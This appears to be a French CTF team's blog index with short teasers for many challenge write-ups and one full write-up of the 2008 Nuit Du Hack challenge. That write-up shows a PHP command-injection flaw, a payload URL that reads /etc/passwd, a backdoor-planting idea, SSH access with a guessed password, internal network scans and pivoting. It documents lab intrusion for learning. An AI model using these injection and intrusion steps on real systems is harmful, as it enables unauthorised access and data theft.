NDH Prequals RCE300 Write-Up

Un challenge original qui consistait à reverse un jeu de Nintendo DS.
(Lire la suite…)

Insomni’hack 2011 – Reverse 2

Pour ce challenge de reverse engineering, il nous fallait connaître la bonne clef à envoyer au serveur pour qu’il puisse ouvrir un fichier en local et nous renvoyer le flag.
(Lire la suite…)

Hack.lu 2010 CTF – Chip forensic 200 writeup

Ce dixième challenge intitulé “Chip forensic” à pour objectif la récupération de données suite à un dump effectué depuis une puce mémoire. Il s’agira donc dans un premier temps d’identifier l’origine de la puce afin de déterminer quelles données elle peut bien contenir. La suite consistera en la reconstruction de ces dernières.

(Lire la suite…)

Hack.lu 2010 CTF – Breiers deathmatch 150 writeup

Tout comme la première épreuve de ce CTF, “Breiers Deathmatch” nécessite de se connecter à un socket afin de résoudre un petit problème de cryptographie.
(Lire la suite…)

Hack.lu 2010 CTF – Fun 300 writeup

Une fois de plus Nibbles a concouru lors du CTF Hack.lu 2010 organisé par les FluxFingers (@Fluxfingers), on a pas réussi à poncer la première team “bobsleigh” (Française aussi) mais on a poncé la team Russe de Leetmore, résultats des courses on a fini second.
(Lire la suite…)

CSAW CTF Write-up forensics 1 à 4

Les épreuves de forensics données au CSAW CTF n’étaient pas vraiment ce à quoi je m’attendais, mais on a quand même réussi à en résoudre la plupart. Les challenges ont été confectionnés par Efstratios Gavas (@xtrat), Directeur du Laboratoire de cyber-sécurité à l’Université Polytechnique de New York ! Rien que ça :)
(Lire la suite…)

CSAW CTF Write-up Exploit 1 – FreeBSD remote stack based buffer overflow

J’ai eu l’opportunité de regarder l’exploit1 avec teach, sauf qu’il avait pas sa VM FreeBSD prête donc c’est bibi qui s’y est collé ! Tant mieux c’était marrant :)
(Lire la suite…)

CSAW-CTF Alex Sotirov Reversing 1

Le reverse-me se présente sous la forme d’un exécutable 16 bits, la consigne étant :

You’re looking for the magical incantation that will cause the program to display the secret KEY.

On se rend rapidement compte que les deux arguments passés au challenge sont utilisés comme 2 adresses de fonctions qui sont appelées l’une après l’autre, avec les mêmes arguments et dont les valeurs de retours sont xorées pour obtenir 2*4 chars affichés par la suite à l’aide d’une messagebox.

Ce qui nous donne une fois recodé en C :

int main(int argc, char** argv)
{
	WORD (*a)(WORD,WORD,WORD,WORD,WORD);
	WORD (*b)(WORD,WORD,WORD,WORD,WORD);
	char serial[0xFF];
	memset(serial, 0, 0xFF);
	sscanf(argv[1], "%u %u", &a, &b);
	*((WORD*)&serial[0]) = a(0x4358, 0x5BE, 0x500E, 0x324F, 0x169) ^ b(0x4358, 0x5BE, 0x500E, 0x324F, 0x169);
	*((WORD*)&serial[2]) = a(0x3FD8, 0x593, 0x8CA3, 0x5630, 0xDDFE) ^ b(0x3FD8, 0x593, 0x8CA3, 0x5630, 0xDDFE);
	*((WORD*)&serial[4]) = a(0x1B, 0x7D08, 0x0F8B, 0x28A0, 0x0D158) ^ b(0x1B, 0x7D08, 0x0F8B, 0x28A0, 0x0D158);
	*((WORD*)&serial[6]) = a(0x0B682, 0x1C9D, 0x99FC, 0xDBD9, 0x46D0) ^ b(0x0B682, 0x1C9D, 0x99FC, 0xDBD9, 0x46D0);
	MessageBox(0, "K:?", serial, 0);
}

(Lire la suite…)

CITCTF 2010 – Complete PDF Writeup

Nibbles team published a complete writeup of the CITCTF 2010 tasks validated in PDF format (don’t worry it’s not a malware ;) ).

You can download it here.

Hf.

Defcon 18 Quals Pwtent Pwnable 300

Same article is available in english here

Le Pwtent Pwnable (généralement la rubrique où l’on doit exploiter des services) 300 était une épreuve du Defcon, qui je ne le vous cache pas, rapportait 300 points. L’information jointe était le nom de l’hôte accompagné du port : pwn21.ddtek.biz, port 5555.
A ce jeu, nous décidons de tâter le terrain. Il s’agit d’un mini-jeu, qui débute par vous demander de créer un compte, et ensuite s’ouvre à vous un panel d’options (achat de poulet, vente de petit poussin, affichage des options, mise à jour des options…).
On se pose des questions quant à la coïncidence métaphysique entre les poulets et teach (consommateur avéré de poussin chez KFC) qui a aussi travaillé sur cette épreuve.
L’analyse que je vais présenter ici est une solution parmi d’autres. Parfois il arrive qu’une technique soit plus simple, mais qu’elle nous échappe pendant le CTF (fatigue selon milo :) ?). Il faut savoir que foncer comme un bourrin peut apporter des avantages(cf. commentaires), mais chez Nibbles, on préfère comprendre les choses de manière détaillée.
(Lire la suite…)

Defcon 18 quals Packet Madness 300

Description : google is your friend: inurl:server.pem
Fichiers : pkt300_0b60db003c2210ca.pcap et la version mise à jour pkt300_235bc13c00343230782.pcap car la première s’est avérée insolvable.
Il s’agit d’une capture réseau dont la principale activité est un échange SSL/TLS sur un port non standard (4433). On imagine bien que le but de l’épreuve est de déchiffrer cet échange.

(Lire la suite…)

Write-up Codegate 2010 – Forensic, introduction à Sleuth Kit et Autopsy

Le challenge #19 était intéressant aussi, au moins pour l’histoire :

On a trouvé un homme mort dans la rue, on suppose qu'il s'est suicidé.
Comment en est-on arrivé à cette supposition ? Trouvez l'indice.

On nous donne ce simple fichier binaire : 56DACF1C6CF363F27501FFCA50CC0415 (9.6 Mo).

(Lire la suite…)

Writeup Challenge 9 du CTF Codegate

Hello everyone, here is a writeup for the 9th challenge of the Codegate CTF.
URL: http://ctf8.codegate.org/597d0c8bbd21d9924cde3567258f4e62/index.php

(Lire la suite…)

Padocon CTF | Karma300

Toujours sur le Padocon CTF avec cette fois-ci un writeup sur une des épreuves les plus compliquée du challenge. Il s’agit de la karma300, une exploitme de type format string assez classique mais elle s’effectue dans des conditions très particulières la rendant très difficile à exploiter. Pour la réussir il faut d’abord comprendre le fonctionnement de la libc notamment au moment de l’appel à exit(). Enfin quelques tricks cools achèvent la bête.
(Lire la suite…)

Padocon CTF | Warmup100

Ce weekend se déroulait le CTF organisé pour la conférence PAraDOx (twitter) qui se déroule en Corée. La team nibbles était bien sur de la partie et à même finie 14ème (id ox90909090) sur environ 90 inscrits. Un bon CTF (url) d’ailleurs avec plein d’épreuves sympas, on avait des crackmes win et linux, des exploitme (beaucoup en fait :]), du webhack, un peu de crypto relou et des trucs weirds. Le CTF commençait vendredi soir à 22h KST, soit 14h en france et finissait 48h plus tard. Voici la timeline de nos validations :

start @ 22h KST
1. [10/02/05 23:58:55] CrackMe 100, 200
2. [10/02/06 00:45:17] CrackMe 200, 200
3. [10/02/06 00:58:14] CatchMe, 200
4. [10/02/06 02:42:27] web300, 200
5. [10/02/06 06:38:31] warmup100, 200
6. [10/02/06 08:58:53] ddanjin, 300
7. [10/02/06 09:27:44] trililogy100, 400
8. [10/02/06 10:20:42] trililogy200, 400
9. [10/02/06 10:33:20] tomato, 200
10. [10/02/06 10:47:24] warmup200, 200
11. [10/02/06 18:55:44] karma100, 400
12. [10/02/06 19:36:59] karma200, 400

Et le classement final le dimanche à 14h :

1. ???(ADNIM), 5600 (beistlab)
2. GoN(loco), 4700
3. PPP(pwning), 4500
4. lalalulu(lalalulu), 4500
5. Cyworld(abc123), 4500
6. sonic,elnn(1234), 4500
7. PEAK(PEAK), 4500
8. asdf(asdf), 4500
9. Sapheadz(sapheadz), 4400
10. is119(is119), 3900
11. ????(qwer), 3800
12. NollTour(NollTour), 3800
13. clgt(clgtvnsec), 3600
14. Nibbles(ox90909090), 3300
15. ??(bada), 3300

Je vous propose un writeup sur une des épreuves d’exploitme, warmup100, celle-ci nous a laissé dubitatif au début mais on l’a poncé grâce à une technique d’exploitation intéressante.
(Lire la suite…)

Break your ARMs Part 1

Pendant le rutctf l’équipe Nibbles à prit super cher. Le challenge consistait à exploiter différents services tournant sous un émulateur Android depuis une VM Debian sous VirtualBox, la faute de se fiasco à l’émulateur qui crashait régulièrement sans raison apparente. Finalement lors du débriefing on a apprit qu’une team s’était amusé à poncer tout le monde avec un script qui se connectait sur l’émulateur et lui passait une commande le faisant crasher, cool …

Si vous ne le savez pas, Android tourne sous ARM, Baboon et moi avons justement passé pas mal de temps à reverser un binaire ARM, pour finalement pas grand chose …

Bref tout cela pour dire que comprendre correctement l’ARM ca peut être utile parfois. Justement cela m’a rappelé un autre challenge auquel l’équipe Nibbles avait participé, le CTF CSAW, cette fois la team s’est mieux débrouillé ! Dans ce CTF on retrouvait encore des binaires ARM à reverser et exploiter. C’est là le propos de ce post, montré comment il fallait configurer l’image du challenge en local puis exploiter un service vulnérable sur une architecture ARM.

(Lire la suite…)

Challenge « La Nuit Du Hack » 2008

Cet article est soumis à modifications dans les heures qui viennent, notamment l’ajout de screenshots

Well well well… C’est pas tellement dans mes habitudes de blog-er comme un f0u mais une fois n’est pas coutume, qui plus est c’est malgré tout intérressant de se prêter à l’exercice.

Retour donc sur la Nuit Du Hack qui s’est déroulée hier quelque part aux alentours de Paris m’a-t-on dit, à laquelle je n’étais pas mais qui comme chaque année brasse plusieurs membres du stars-system dont le plus fashion de tous, mon bon pote Ivanlef0u, lequel après m’avoir débrieffé rapidement la soirée me donne le lien d’une machine de challenge spécifiquement montée pour l’occasion et sur laquelle je me suis empressé de le rejoindre…

Sans plus attendre…

…entrons dans le vif de la plaie :

Après avoir tourné et retourné un peu, notamment autour de la shoutbox, je navigue ci et là et trouve alors qu’il y a derrière tout ça un “Joomla radio component 5.0″, lequel est vulnérable et permet d’aller lire dans la racine du serveur des fichiers sensibles tels des .htaccess/.htpasswd etc.

En continuant de chercher – et c’est beaucoup plus probant – on trouvait une exécution de commandes distante directement sur la page de l’éthylomètre. En lieu et place de “VOTRE NOM:” on passe des commandes shell backquotées.

Dans le code de la page :

function GetAlcoolemie() {
   var nom = document.getElementById('ALC_NOM').value;
   xmlreq = CreateXMLObj(AfficheAlcoolemie);
   xmlreq.open('GET', 'http://www.sysidea.com/ethylo.php?ALC_NOM='+nom, true);
   xmlreq.send(null);
}

Et dans le code du script ethylo.php :

<?php
   $nom = $_GET['ALC_NOM'];
   $nb_alc = 1.2 + (rand()%20)/10.0;
   $script_perl = "\"print '$nom: vous avez $nb_alc g/L. dans le sang'\"";
   $cmd = "/home/joomla/launch_ethylo.pl $script_perl 2>&1";
   system($cmd);
?>

Ce qui à l’arrivée nous donne :

http://www.sysidea.com/ethylo.php?ALC_NOM=`cat /etc/passwd`

Evidemment il y a des choses plus sympatoches à faire qu’afficher passwd…
Une idée notamment aurait été d’uploader dans un répertoire writeable (ou “scriptible” en bon françois) un fichier à grands coups de echo "L1GN3UU3NC0DEE" >> backdoor.uue

Et de uudecoder le tout ensuite pour obtenir une jolie backdoor (j’avais lu un truc dans le même ordre d’idée sur le blog de Lexfo il me semble)

Disons qu’on en restera là pour l’accès à la box, en vérité en fouinant le site j’ai vu que le nom de “Benoit Chouffe” revenait assez r&eaucte;gulièrement, et au préalable j’avais -bien que c’était pas super intérressant- quand même dumpé /etc/passwd dans lequel on trouvait un utilisateur système “chouffe” avec un shell.

j0rn@galaad:~$ ssh chouffe@sysidea.com
password: (benoit)
chouffe@vmdebian:~$

Miracle des coincidences provoquées, on a un shell sur la boiboite..

Bon, quelques *instants* passés à étudier un peu la box, voir comment c’est foutu, ce qu’il y a dessus etc. Rien de très probant, quelques exécutables suid, un ping et un netstat dans ce qui ressemble à un chroot, et un script perl suid root dont on m’a rappellé que ça ne changeait pas grand chose au fait que /usr/bin/perl lui n’est pas suid, donc finalement rien de bien utile, le uname nous renvoit un kernel Linux 2.6.25.4, ça sort de mes compétences actuelles et qui plus est il faut aller assez vite, je choisis donc de mettre de coté le serveur pour partir en quête d’un LAN derrière, paraît-il qu’il y en a un

Donc..

chouffe@vmdebian:~$ route
-bash: route: command not found
chouffe@vmdebian:~$ echo $PATH
/usr/local/bin:/usr/bin:/bin:/usr/games
chouffe@vmdebian:~$ find / -name route 2&gt;/dev/null
/sbin/route
[...]
chouffe@vmdebian:~$ /sbin/route
Table de routage IP du noyau
Destination     Passerelle      Genmask         Indic Metric Ref    Use Iface
10.0.69.1       *               255.255.255.255 UH    0      0        0 tun0
88.191.208.80   *               255.255.255.240 U     0      0        0 eth2
192.168.125.0   10.0.69.1       255.255.255.0   UG    0      0        0 tun0
default         88.191.208.81   0.0.0.0         UG    0      0        0 eth2

Ok so, on a une passerelle en 10.0.69.1

Interesting ports on 10.0.69.1:
Not shown: 1678 filtered ports
PORT    STATE SERVICE  VERSION
53/tcp  open  domain   ISC Bind dnsmasq-2.39
444/tcp open  ssl/http lighttpd 1.4.18

Et notre LAN en qu’on va taper en 192.168.125.0/24
On trouve 2 hotes gràce â nmap présent sur la machine; 192.168.125.209 et 192.168.125.210
(Avec le recul on aurait pu commencer par aller regarder en premier lieu dans /etc/hosts d’ailleur)

Interesting ports on 192.168.125.209:
Not shown: 1655 closed ports
PORT     STATE    SERVICE       VERSION
1/tcp    filtered tcpmux
61/tcp   filtered ni-mail
90/tcp   filtered dnsix
133/tcp  filtered statsrv
135/tcp  open     msrpc         Microsoft Windows RPC
139/tcp  open     netbios-ssn
181/tcp  filtered unify
248/tcp  filtered bhfhs
345/tcp  filtered pawserv
445/tcp  open     microsoft-ds  Microsoft Windows XP microsoft-ds
468/tcp  filtered photuris
730/tcp  filtered netviewdm2
748/tcp  filtered ris-cm
790/tcp  filtered unknown
810/tcp  filtered unknown
819/tcp  filtered unknown
1220/tcp filtered quicktime
1472/tcp filtered csdm
1482/tcp filtered miteksys-lm
1494/tcp filtered citrix-ica
2005/tcp filtered deslogin
2014/tcp filtered troff
3389/tcp open     microsoft-rdp Microsoft Terminal Service
5102/tcp filtered admeng
5977/tcp filtered ncd-pref-tcp
Service Info: OS: Windows
Interesting ports on 192.168.125.210:
Not shown: 1663 closed ports
PORT     STATE SERVICE      VERSION
21/tcp   open  ftp          Microsoft ftpd
53/tcp   open  domain       Microsoft DNS
80/tcp   open  http         Microsoft IIS webserver 6.0
88/tcp   open  tcpwrapped
135/tcp  open  msrpc        Microsoft Windows RPC
139/tcp  open  netbios-ssn
389/tcp  open  ldap         Microsoft LDAP server
443/tcp  open  ssl/http     Microsoft IIS webserver 6.0
445/tcp  open  microsoft-ds Microsoft Windows 2003 microsoft-ds
464/tcp  open  tcpwrapped
593/tcp  open  ncacn_http   Microsoft Windows RPC over HTTP 1.0
636/tcp  open  ssl/ldap     Microsoft LDAP server
1025/tcp open  msrpc        Microsoft Windows RPC
1027/tcp open  ncacn_http   Microsoft Windows RPC over HTTP 1.0
1155/tcp open  msrpc        Microsoft Windows RPC
3268/tcp open  ldap         Microsoft LDAP server
3269/tcp open  ssl/ldap     Microsoft LDAP server
Service Info: OS: Windows

Bon, pour nous faciliter la vie on va utiliser un tool de redirection, ne me souvenant plus comment on fait de jolis tunnels ssh toussa, on va se contenter de datapipe, un petit tool qu’on pourra trouver au besoin sur mon vieux repository.

j0rn@galaad:~$ file datapipe
datapipe: ELF 32-bit LSB executable, Intel 80386 [...] statically linked [...]
j0rn@galaad:~$ scp ./datapipe chouffe@sysidea.com:~

Et alors que je testais, écrivait ce post et faisait une collecte d’exploits potentiels à tester en même temps, le ssh du serveur ainsi que le verdict sont tombés : game over :)

Néanmoins on pouvait sans doute tenter de bruteforcer le terminal server de la .209 avec des outils comme TSGrinder, TScrack ou rdesktop
On pouvait également tester les derniers exploits (2007 essentiellement) contre des RPC, DNS etc. à mon avis
Et très certainement il devait y avoir un moyen d’aller taper l’annuaire LDAP d’une facon ou d’une autre mais j’ai pas eu le temps de regarder…

Qualif Defcon 2008

Ce week-end se déroulait les qualifications online pour la Defcon 2008 à qui se passera à Las-Vegas du 8 au 10 août. Les épreuves allaient du reversing à l’exploitation de binaire en passant par le webhack et le forensic. Chaque equipe devait donc tenter de valider en 2 jours le plus d’épreuves et ô grand bonheur les français avec l’équipe Routards on finit 1er ex-aequo avec les Pandas with Gambas. Vous trouverez les reste des résultats ici.

Souhaitons au français de réaliser le même exploit à Las-Vegas cet été !